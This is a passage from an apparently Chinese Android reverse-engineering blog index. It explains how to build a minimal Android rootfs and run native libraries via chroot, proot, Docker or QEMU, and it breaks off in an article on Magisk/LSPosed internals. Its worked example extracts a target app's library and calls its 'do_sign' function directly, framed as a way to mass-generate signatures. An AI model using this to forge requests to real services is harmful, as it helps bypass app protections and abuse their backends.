/proc/self/maps /dev/ 必需 需挂载 tmpfs 并创建基础设备节点 /sys/ 推荐 部分程序检测 sysfs /data/local/tmp/ 推荐 常用的工作目录 /vendor/ 可选 仅当目标 SO 依赖厂商库时需要 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:6:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#关键目录结构"},{"categories":null,"collections":null,"content":"构建步骤详解 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:7:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#构建步骤详解"},{"categories":null,"collections":null,"content":"Step 1: 准备环境与工具链 你需要一个 Linux 环境（如 Ubuntu）和用于交叉编译的工具链。最简单的方法是从 AOSP 预编译库中获取。 # Download AOSP prebuilt aarch64 (ARM64) Toolchain git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9 # Add Toolchain Path to Environment variables export PATH=$(pwd)/aarch64-linux-android-4.9/bin:$PATH export CROSS_COMPILE=aarch64-linux-android- ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:7:1","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#step-1-准备环境与工具链"},{"categories":null,"collections":null,"content":"Step 2: 获取并编译 Linux 内核 git clone https://android.googlesource.com/kernel/common.git cd common # Switch to a Stable branch git checkout android-xxxx # 配置内核 export ARCH=arm64 make defconfig # 编译内核 make -j$(nproc) # Compile Success. After this, Image.gz will be generated in arch/arm64/boot/ directory ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:7:2","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#step-2-获取并编译-linux-内核"},{"categories":null,"collections":null,"content":"Step 3: 构建最小化 RootFS mkdir -p my_rootfs/{dev,proc,sys,system/bin,system/lib64} cd my_rootfs 这一步比较复杂，因为需要从完整的 AOSP 源码中单独编译。一个简化的方法是直接从一个现有的 Android 系统或 AOSP 编译产物中提取这些预编译好的二进制文件。 从 AOSP 编译产物 out/target/product/\u003cdevice\u003e/system/ 中找到以下文件： bin/linker64 -\u003e 复制到 my_rootfs/system/bin/ bin/init -\u003e 复制到 my_rootfs/ bin/toybox -\u003e 复制到 my_rootfs/system/bin/ lib64/libc.so, lib64/libm.so -\u003e 复制到 my_rootfs/system/lib64/ 为 toybox 创建各种命令的软链接： cd my_rootfs/system/bin for cmd in $(./toybox); do ln -s toybox $cmd done cd ../../ 在 my_rootfs/ 目录下创建一个 init.rc 文件，内容如下： # init.rc for minimal android on early-init mount tmpfs tmpfs /dev mkdir /dev/pts mount devpts devpts /dev/pts mount proc proc /proc mount sysfs sysfs /sys on init export PATH /system/bin export LD_LIBRARY_PATH /system/lib64 on post-fs # In a real system, we would mount /data, /cache, etc. # Here we just start the shell. service shell /system/bin/sh class core console disabled user shell group shell seclabel u:r:shell:s0 on property:sys.boot_completed=1 start shell ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:7:3","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#step-3-构建最小化-rootfs"},{"categories":null,"collections":null,"content":"Step 4: 打包并运行 打包 RootFS: 我们需要将 my_rootfs 目录打包成一个 cpio 归档，并用 gzip 压缩，作为内核的 initramfs。 cd my_rootfs find . | cpio -o -H newc | gzip \u003e ../rootfs.cpio.gz cd .. 运行 QEMU: 确保 common/arch/arm64/boot/Image.gz 和 rootfs.cpio.gz 在当前目录下。 qemu-system-aarch64 -M virt -cpu cortex-a57 -m 2048 -kernel common/arch/arm64/boot/Image.gz -initrd rootfs.cpio.gz -nographic -append \"console=ttyAMA0\" ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:7:4","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#step-4-打包并运行"},{"categories":null,"collections":null,"content":"Linker 与动态库 Android 的动态链接机制是理解和运用最小 RootFS 的核心。与标准 Linux 使用 ld-linux.so 不同，Android 使用自己的 linker（32位）或 linker64（64位）。 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:8:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#linker-与动态库"},{"categories":null,"collections":null,"content":"linker 的工作流程 Kernel 加载 ELF → 读取 PT_INTERP → 找到 /system/bin/linker64 ↓ linker64: 解析 PT_LOAD 段 → 映射到内存 ↓ 解析 DT_NEEDED → 递归加载所有依赖库 ↓ 处理重定位（GOT/PLT 表） → 调用 .init_array → 跳转入口点 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:8:1","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#linker-的工作流程"},{"categories":null,"collections":null,"content":"LD_LIBRARY_PATH 与库搜索 # linker 搜索 SO 的顺序： # 1. DT_RUNPATH (编译时嵌入 ELF) # 2. LD_LIBRARY_PATH 环境变量 # 3. 默认路径 (/system/lib64 等) export LD_LIBRARY_PATH=/system/lib64:/vendor/lib64:/data/local/tmp # 查看 SO 的依赖 readelf -d target.so | grep NEEDED ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:8:2","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#ld_library_path-与库搜索"},{"categories":null,"collections":null,"content":"在最小环境中手动加载 SO // loader.c - 通用 SO 加载器 #include \u003cstdio.h\u003e #include \u003cdlfcn.h\u003e int main(int argc, char *argv[]) { if (argc \u003c 3) { printf(\"Usage: %s \u003cso_path\u003e \u003cfunc_name\u003e\\n\", argv[0]); return 1; } void *handle = dlopen(argv[1], RTLD_NOW); if (!handle) { printf(\"dlopen: %s\\n\", dlerror()); return 1; } void *func = dlsym(handle, argv[2]); if (!func) { printf(\"dlsym: %s\\n\", dlerror()); dlclose(handle); return 1; } printf(\"[+] %s @ %p\\n\", argv[2], func); int (*f)(void) = (int (*)(void))func; printf(\"[+] Result: %d\\n\", f()); dlclose(handle); return 0; } # 使用 NDK 交叉编译 $NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang \\ -o loader loader.c -ldl cp loader my_rootfs/system/bin/ ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:8:3","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#在最小环境中手动加载-so"},{"categories":null,"collections":null,"content":"常见 linker 错误 错误信息 原因 解决方法 CANNOT FIND library \"libxxx.so\" 依赖库不在搜索路径中 复制到 /system/lib64/ 或设置 LD_LIBRARY_PATH has text relocations 文本重定位（6.0+ 禁止） 用 -fPIC 重编译或用旧版 linker cannot locate symbol \"xxx\" 缺少符号定义 检查依赖库或提供 stub 实现 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:8:4","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#常见-linker-错误"},{"categories":null,"collections":null,"content":"在 chroot 环境中运行 在已 Root 的 Android 设备上，chroot 是使用最小 RootFS 最直接的方式。 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:9:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#在-chroot-环境中运行"},{"categories":null,"collections":null,"content":"设置与进入 adb push my_rootfs /data/local/tmp/rootfs adb shell su ROOTFS=/data/local/tmp/rootfs # 挂载虚拟文件系统 mount -t proc proc $ROOTFS/proc mount -t sysfs sysfs $ROOTFS/sys mount -t tmpfs tmpfs $ROOTFS/dev mknod $ROOTFS/dev/null c 1 3 mknod $ROOTFS/dev/zero c 1 5 mknod $ROOTFS/dev/urandom c 1 9 mkdir -p $ROOTFS/dev/pts mount -o bind /dev/pts $ROOTFS/dev/pts # 进入 chroot chroot $ROOTFS /system/bin/sh ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:9:1","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#设置与进入"},{"categories":null,"collections":null,"content":"Bind Mount 映射目标文件 通过 bind mount 将设备上的目录映射到 chroot 环境中，无需复制文件： # 映射目标 APP 的库目录 mkdir -p $ROOTFS/data/app_libs mount -o bind /data/app/com.target.app/lib/arm64 $ROOTFS/data/app_libs # 映射 vendor 库（如果目标 SO 依赖厂商库） mkdir -p $ROOTFS/vendor/lib64 mount -o bind /vendor/lib64 $ROOTFS/vendor/lib64 # 进入后设置路径 chroot $ROOTFS /system/bin/sh export LD_LIBRARY_PATH=/system/lib64:/vendor/lib64:/data/app_libs /system/bin/loader /data/app_libs/libtarget.so targetFunction ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:9:2","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#bind-mount-映射目标文件"},{"categories":null,"collections":null,"content":"退出和清理 exit # 按反序卸载 umount $ROOTFS/dev/pts umount $ROOTFS/dev umount $ROOTFS/proc umount $ROOTFS/sys umount $ROOTFS/vendor/lib64 2\u003e/dev/null umount $ROOTFS/data/app_libs 2\u003e/dev/null ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:9:3","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#退出和清理"},{"categories":null,"collections":null,"content":"Docker Android 环境 Docker 提供了在 PC 上运行最小 Android 环境的便捷方式，配合 QEMU 用户态模拟可在 x86 上运行 ARM 二进制。 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:10:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#docker-android-环境"},{"categories":null,"collections":null,"content":"Dockerfile 示例 FROM ubuntu:22.04 RUN apt-get update \u0026\u0026 apt-get install -y \\ qemu-user-static binfmt-support \\ \u0026\u0026 rm -rf /var/lib/apt/lists/* RUN update-binfmts --enable qemu-aarch64 RUN mkdir -p /android/{system/bin,system/lib64,data/local/tmp} COPY rootfs/system/bin/ /android/system/bin/ COPY rootfs/system/lib64/ /android/system/lib64/ ENV LD_LIBRARY_PATH=/android/system/lib64 ENV PATH=/android/system/bin:$PATH WORKDIR /android/data/local/tmp ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:10:1","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#dockerfile-示例"},{"categories":null,"collections":null,"content":"构建和使用 docker build -t android-rootfs . # 运行容器，挂载目标库目录 docker run -it --rm \\ -v $(pwd)/target_libs:/android/data/local/tmp/libs \\ android-rootfs \\ qemu-aarch64-static -L /android /android/system/bin/sh # 在容器中加载目标 SO export LD_LIBRARY_PATH=/android/system/lib64:/android/data/local/tmp/libs qemu-aarch64-static -L /android /android/system/bin/loader \\ /android/data/local/tmp/libs/libtarget.so targetFunction 方面 说明 可复现性 环境封装在镜像中，团队共享一致的分析环境 无需设备 在 x86 PC 上即可运行 ARM64 二进制 性能 QEMU 用户态模拟比硬件慢 5-10 倍 JNI 限制 无法提供真实的 JNI 环境（没有 ART） ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:10:2","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#构建和使用"},{"categories":null,"collections":null,"content":"proot 方案 proot 是无需 root 权限的 chroot 替代方案，通过 ptrace 拦截和重写文件路径相关的系统调用来模拟根目录切换。 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:11:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#proot-方案"},{"categories":null,"collections":null,"content":"基本使用 # 推送 proot 和 RootFS 到设备（无需 root） adb push proot-aarch64 /data/local/tmp/proot adb push my_rootfs /data/local/tmp/rootfs adb shell chmod +x /data/local/tmp/proot adb shell cd /data/local/tmp # 进入环境（绑定必要的虚拟文件系统） ./proot -r ./rootfs -b /proc -b /dev -b /sys /system/bin/sh # 绑定目标 APP 的 SO 目录 ./proot -r ./rootfs \\ -b /proc -b /dev \\ -b /data/app/com.target.app/lib/arm64:/data/libs \\ /system/bin/sh ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:11:1","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#基本使用"},{"categories":null,"collections":null,"content":"proot 的局限性 限制 说明 性能开销 ptrace 拦截每个系统调用，性能损失约 10-30% 兼容性 部分系统调用无法完美拦截 SELinux 在 enforcing 模式下可能受限 Android 限制 Android 10+ 限制了 ptrace 的使用范围 提示：设备已 Root 时优先使用 chroot；只在无法获得 Root 权限时使用 proot。 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:11:2","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#proot-的局限性"},{"categories":null,"collections":null,"content":"实战：在最小环境中运行 SO 💡 思路一句话: 当你需要脱离 Android 设备运行 SO（如 CI/CD 中自动化调用签名函数）— 用 Docker 搭建最小 Android 根文件系统 + linker + libc，就能在服务器上直接执行 SO 中的函数。 以下是完整的端到端示例：在最小 RootFS 中加载并调用目标 SO 的 Native 函数。 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:12:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#实战在最小环境中运行-so"},{"categories":null,"collections":null,"content":"提取目标 SO 及其依赖 # 获取目标 SO 并查看依赖 adb pull /data/app/com.example.target/lib/arm64/libtarget.so ./ readelf -d libtarget.so | grep NEEDED # (NEEDED) Shared library: [libc.so] # (NEEDED) Shared library: [libm.so] # (NEEDED) Shared library: [liblog.so] # (NEEDED) Shared library: [libz.so] # 拉取所有依赖库 for lib in libc.so libm.so liblog.so libz.so libdl.so; do adb pull /system/lib64/$lib ./rootfs/system/lib64/ done ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:12:1","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#提取目标-so-及其依赖"},{"categories":null,"collections":null,"content":"编写调用程序并部署 // call_target.c #include \u003cstdio.h\u003e #include \u003cstring.h\u003e #include \u003cdlfcn.h\u003e int main() { void *handle = dlopen(\"/data/local/tmp/libtarget.so\", RTLD_NOW); if (!handle) { fprintf(stderr, \"[-] %s\\n\", dlerror()); return 1; } typedef int (*sign_func_t)(const char *, int); sign_func_t do_sign = (sign_func_t)dlsym(handle, \"do_sign\"); if (!do_sign) { fprintf(stderr, \"[-] %s\\n\", dlerror()); return 1; } const char *input = \"hello_reverse\"; int result = do_sign(input, strlen(input)); printf(\"[+] do_sign(\\\"%s\\\") = 0x%x\\n\", input, result); dlclose(handle); return 0; } # 编译并部署 NDK_CC=$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang $NDK_CC -o call_target call_target.c -ldl -pie adb push call_target /data/local/tmp/rootfs/system/bin/ adb push libtarget.so /data/local/tmp/rootfs/data/local/tmp/ ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:12:2","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#编写调用程序并部署"},{"categories":null,"collections":null,"content":"在 chroot 中执行 adb shell su ROOTFS=/data/local/tmp/rootfs mount -t proc proc $ROOTFS/proc mount -t tmpfs tmpfs $ROOTFS/dev mknod $ROOTFS/dev/null c 1 3 mknod $ROOTFS/dev/urandom c 1 9 chroot $ROOTFS /system/bin/sh -c ' export LD_LIBRARY_PATH=/system/lib64 /system/bin/call_target ' # [+] do_sign(\"hello_reverse\") = 0xa3f2b1c0 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:12:3","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#在-chroot-中执行"},{"categories":null,"collections":null,"content":"常见问题排查 # 缺少依赖库 → 从设备拉取 adb pull /system/lib64/libxxx.so $ROOTFS/system/lib64/ # .init_array 崩溃 → 开启调试日志 export LD_DEBUG=all /system/bin/call_target 2\u003e\u00261 | head -100 # JNI_OnLoad 需要 JNIEnv → 构造 fake JNIEnv 或 patch 掉 JNI_OnLoad ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:12:4","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#常见问题排查"},{"categories":null,"collections":null,"content":"与 unidbg 对比 最小 RootFS 和 unidbg 都能脱离完整 Android 环境运行 SO 函数，但原理和适用场景有显著差异。 特性 最小 RootFS unidbg 运行方式 真实 ARM 硬件 / QEMU 全系统模拟 Unicorn 指令级模拟 linker Android 原生 linker 自行实现的 ELF 加载器 系统调用 真实内核处理 手动 Mock JNI 支持 需自行构造 内置完整 JNI 模拟 运行平台 ARM 设备 / QEMU 任意 PC（Java/Python） 性能 接近原生（设备）/ 中等（QEMU） 较慢（指令模拟） 调试 GDB、strace 等标准工具 内置 Trace、寄存器查看 环境复杂度 需要准备文件系统 开箱即用 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:13:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#与-unidbg-对比"},{"categories":null,"collections":null,"content":"选择建议 纯 Native 函数 + 有 ARM 设备 → 最小 RootFS + chroot（性能最优） 需要 JNI 环境或复杂 Java 回调 → unidbg（JNI Mock 更成熟） 批量自动化调用 → unidbg（Java/Python 集成方便） 无 ARM 设备 → unidbg 或 Docker + QEMU ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:13:1","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#选择建议"},{"categories":null,"collections":null,"content":"互补使用策略 在实际逆向项目中，两者往往配合使用： 初始分析：unidbg 快速验证函数调用，确认入参和返回值格式 深度调试：最小 RootFS 中使用 GDB 调试崩溃和逻辑问题 自动化：将可用的调用封装到 unidbg，批量生成签名或解密数据 对抗升级：当 unidbg 的 Mock 无法满足需求时，切换到最小 RootFS 获得更真实的环境 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:13:2","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#互补使用策略"},{"categories":null,"collections":null,"content":"从 Shell 到 Zygote：下一步是什么？ 我们已经有了一个最小的 Linux 环境，但它还不是\"Android\"。要让它成为 Android，还需要以下关键步骤： 启动 servicemanager: 编译并运行它，它是 Android Binder IPC 机制的核心。 启动 Zygote: 编译 app_process 并通过 init.rc 启动它。Zygote 会预加载 Android 框架的核心类 (framework.jar) 并监听一个 socket，等待孵化新的 App 进程。 启动 system_server: Zygote 启动的第一个 Java 进程，它会创建所有的 Android 系统服务 (AMS, WMS, PMS 等)。 完成这些后，系统才能真正地运行 Android 应用。但这已经超出了\"最小化 RootFS\"的范畴，进入了完整的系统移植和开发领域。 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:14:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#从-shell-到-zygote下一步是什么"},{"categories":null,"collections":null,"content":"开源实现：mini_rootfs 基于本文介绍的构建技术，我实现了一个精简的开源项目：mini_rootfs 该项目演示了最小化rootfs环境下的动态库加载机制，提供两种实现方式： Android方式: 使用系统内置 dlopen/dlsym API 进行动态库加载 Linux方式: 从头实现自定义ELF加载器，模拟Android linker架构 ELF解析: 包含完整的ELF文件解析、内存映射、符号解析、重定位处理 教育导向: 深入理解操作系统如何加载和执行动态链接的二进制文件 如果你对最小化 RootFS 环境下的动态链接机制感兴趣，欢迎参考该项目的实现，也欢迎贡献代码。 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:15:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#开源实现mini_rootfs"},{"categories":null,"collections":null,"content":"Magisk 与 LSPosed 技术原理 Magisk 和 LSPosed 是 Android 平台上最流行的 Root 和 Hook 解决方案。本文深入分析其技术实现原理，帮助理解现代 Android 系统修改技术的核心机制。 ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:0:0","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#magisk-与-lsposed-技术原理"},{"categories":null,"collections":null,"content":"1. 技术架构总览 ┌─────────────────────────────────────────────────────────────────────────┐ │ Android 系统修改技术栈 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌───────────────────────────────────────────────────────────────┐ │ │ │ 用户层 (User Space) │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ LSPosed │ │ 模块 App │ │ 目标 App │ │ │ │ │ │ Manager │ │ (Xposed │ │ (被 Hook) │ │ │ │ │ │ │ │ Module) │ │ │ │ │ │ │ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │ │ │ │ │ │ │ │ │ │ │ └────────────────┼────────────────┘ │ │ │ │ │ │ │ │ │ ┌───────────┴───────────┐ │ │ │ │ │ LSPosed Core │ │ │ │ │ │ (libxposed_art.so) │ │ │ │ │ │ - ART Hook │ │ │ │ │ │ - 方法替换 │ │ │ │ │ └───────────┬───────────┘ │ │ │ │ │ │ │ │ └──────────────────────────┼────────────────────────────────────┘ │ │ │ │ │ ┌──────────────────────────┼────────────────────────────────────┐ │ │ │ ┌───────────┴───────────┐ │ │ │ │ │ Zygisk │ │ │ │ │ │ (Magisk 注入机制) │ │ │ │ │ │ - 注入 Zygote │ │ │ │ │ │ - 加载模块 │ │ │ │ │ └───────────┬───────────┘ │ │ │ │ │ │ │ │ │ ┌───────────┴───────────┐ │ │ │ │ │ Magisk │ │ │ │ │ │ - Systemless Root │ │ │ │ │ │ - MagiskSU │ │ │ │ │ │ - MagiskHide/ │ │ │ │ │ │ DenyList │ │ │ │ │ └───────────┬───────────┘ │ │ │ │ │ │ │ │ │ 内核层 (Kernel) │ │ │ └──────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────┐ │ │ │ Boot 阶段 │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ Boot.img │ │ Magisk 补丁 │ │ ramdisk │ │ │ │ │ │ (原始) │──►│ 处理 │──►│ (修改后) │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ └───────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:1:0","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#1-技术架构总览"},{"categories":null,"collections":null,"content":"2. 框架演进历史 理解 LSPosed，需要先理清 Xposed 框架的演进历史： Xposed (元祖) ──► EdXposed (过渡) ──► LSPosed (现代标准) │ │ │ │ │ │ ▼ ▼ ▼ 替换 app_process Riru 注入 Zygote Zygisk/Riru 注入 (修改 /system) (Systemless) (Magisk 生态) ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:2:0","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#2-框架演进历史"},{"categories":null,"collections":null,"content":"2.1 Xposed 原版 (2012-2018) Xposed 是由 rovo89 开发的 Android Hook 框架，开创了 Java 层方法 Hook 的先河。 核心特点： 特性 说明 实现方式 替换 /system/bin/app_process Root 方式 需要传统 Root (修改 /system) 支持版本 Android 4.0 - 8.x (Dalvik/ART) 注入范围 全局注入所有进程 维护状态 2018 年停止更新 技术原理： /** * Xposed 原版通过替换 app_process 实现全局注入 * * 原始启动流程: * init → zygote (app_process) → fork → App * * Xposed 修改后: * init → zygote (app_process_xposed) → XposedBridge 加载 → fork → App */ // app_process 被替换为 Xposed 修改版 // 在 ZygoteInit 阶段加载 XposedBridge.jar // 所有 fork 出的 App 都继承了 Xposed 的 Hook 能力 致命缺陷： 修改 /system 分区，无法通过 SafetyNet/Play Integrity 全局注入导致系统卡顿、耗电 兼容性差，不支持新版 Android ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:2:1","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 技术原理","uri":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/#21-xposed-原版-2012-2018"},{"categories":null,"collections":null,"content":"2.2 EdXposed 过渡期 (2018-2020) EdXposed (Elder Xposed) 是 Xposed 的社区接力项目，解决了原版 Xposed 的一些问题。 核心改进： 特性 Xposed 原版 EdXposed Root 方式 修改 /system 基于 Magisk 注入方式 替换 app_process Riru 注入 支持版本 ≤ Android 8 Android 8-11 作用域 全局 部分支持白名单 EdXposed 架构： ┌─────────────────────────────────────────────────────────────┐ │ EdXposed 架构 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────┐ │ │ │ EdXposed Manager│ ←── 管理模块、配置 │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ EdXposed Core │ ←── libxposed_art.so (ART Hook) │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ Riru │ ←── Zygote 注入框架 │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ Magisk │ ←── Systemless Root 基础 │ │ └─────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘ ","date":"2025-09-25","objectID":"/reverse_engineering/android/04-reference/advanced/magisk_lsposed_internals/:2:2","tags":["Native层","代理池","Frida","SSL Pinning","DEX","高级"],"title":"Magisk 与 LSPosed 